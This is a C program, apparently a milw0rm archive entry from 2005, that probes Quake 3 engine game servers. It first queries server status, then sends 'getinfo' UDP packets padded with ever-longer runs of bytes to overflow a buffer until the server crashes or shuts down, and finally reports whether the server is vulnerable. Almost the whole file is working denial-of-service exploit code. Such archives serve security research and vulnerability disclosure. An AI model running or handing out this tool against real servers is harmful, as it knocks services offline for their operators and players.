312 lines
No EOL
9.2 KiB
C
312 lines
No EOL
9.2 KiB
C
/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#ifdef WIN32
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#include <winsock.h>
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/*
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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/* Added above winerr.h /str0ke ! milw0rm.com*/
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#define close closesocket
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#endif
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#define VER "0.1"
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#define BUFFSZ 2048
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#define TIMEOUT 3
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#define INFO "\xff\xff\xff\xff" "getstatus\n"
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#define GETINFO "\xff\xff\xff\xff" "getinfo "
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#define GETINFOSZ (sizeof(GETINFO) - 1)
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#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
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< 0) std_err();
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#define RECV len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
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if(len < 0) std_err();
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#define RECVT if(timeout(sd) < 0) { \
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fputs("\nError: socket timeout, no reply received\n\n", stdout); \
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exit(1); \
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} \
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RECV;
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void showinfo(u_char *data);
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int timeout(int sock);
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u_long resolv(char *host);
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void std_err(void);
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int main(int argc, char *argv[]) {
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struct sockaddr_in peer;
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int sd,
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i,
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len,
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slen,
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from = 700,
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to = BUFFSZ - GETINFOSZ,
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jumps = 1,
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sent = 0;
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u_short port;
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u_char bof[BUFFSZ + 1],
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buff[BUFFSZ + 1],
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*p;
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setbuf(stdout, NULL);
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fputs("\n"
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"Quake 3 engine infostring crash/shutdown scanner "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@altervista.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 3) {
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printf("\n"
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"Usage: %s [options] <server> <port>\n"
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"\n"
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"Options:\n"
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"-f FROM start the scan from byte FROM (default %d)\n"
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"-t TO finish the scan at byte TO (default %d)\n"
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"-j JUMPS the number of bytes to increment for each scan.\n"
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" Default value is %d, meaning that if the scan starts from %d it will\n"
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" send getinfo followed by %d bytes, then %d, %d, %d and so on until %d\n"
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"\n", argv[0],
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from,
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to,
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jumps, from,
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from, from + jumps, from + (jumps * 2), from + (jumps * 3), to);
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exit(1);
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}
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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argc -= 2;
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for(i = 1; i < argc; i++) {
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switch(argv[i][1]) {
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case 'f': from = atoi(argv[++i]); break;
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case 't': to = atoi(argv[++i]); break;
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case 'j': jumps = atoi(argv[++i]); break;
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default: {
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printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
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exit(1);
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}
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}
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}
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port = atoi(argv[argc + 1]);
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peer.sin_addr.s_addr = resolv(argv[argc]);
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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printf("- target %s : %hu\n",
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inet_ntoa(peer.sin_addr), port);
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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fputs("- request informations:\n", stdout);
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SEND(INFO, sizeof(INFO) - 1);
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RECVT;
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buff[len] = 0x00;
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showinfo(buff);
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fputs("- getinfo crash/shutdown scan:\n\n", stdout);
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memcpy(bof, GETINFO, GETINFOSZ);
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p = bof + GETINFOSZ;
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if(from > to) from = to;
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for(i = 0; i < from; i++) *p++ = 'a';
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slen = p - bof;
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for(;;) {
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printf(" packet length: %d\r", slen);
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SEND(bof, slen);
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sent++;
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if(timeout(sd) < 0) break;
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RECV;
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slen += jumps;
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if((slen - GETINFOSZ) > to) {
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slen -= jumps;
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break;
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} else if(slen > BUFFSZ) {
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printf("\n\n- max local buffer size (%d) reached", BUFFSZ);
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slen -= jumps;
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break;
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}
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for(i = 0; i < jumps; i++) *p++ = 'a';
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}
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if(!sent) {
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fputs("\n\nError: recheck your options because I have sent no packets, probably you have chosen too big values\n\n", stdout);
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close(sd);
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exit(1);
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}
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printf("\n\n- last UDP packet sent was %d bytes (jumps = %d)",
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slen, slen - GETINFOSZ);
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fputs("\n- check server:\n", stdout);
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SEND(INFO, sizeof(INFO) - 1);
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if(timeout(sd) < 0) {
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fputs("\nServer IS vulnerable!!!\n\n", stdout);
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} else {
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fputs("\nServer doesn't seem vulnerable\n\n", stdout);
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}
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close(sd);
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return(0);
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}
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void showinfo(u_char *data) {
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int nt = 1;
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u_char *p;
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while((p = strchr(data, '\\'))) {
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*p = 0x00;
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if(!nt) {
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printf("%30s: ", data);
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nt++;
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} else {
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printf("%s\n", data);
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nt = 0;
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}
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data = p + 1;
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}
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printf("%s\n", data);
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}
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int timeout(int sock) {
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struct timeval tout;
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fd_set fd_read;
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int err;
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tout.tv_sec = TIMEOUT;
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tout.tv_usec = 0;
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FD_ZERO(&fd_read);
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FD_SET(sock, &fd_read);
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err = select(sock + 1, &fd_read, NULL, NULL, &tout);
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if(err < 0) std_err();
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if(!err) return(-1);
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return(0);
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}
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u_long resolv(char *host) {
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struct hostent *hp;
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u_long host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolv hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_long *)hp->h_addr;
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}
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return(host_ip);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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// milw0rm.com [2005-02-12]
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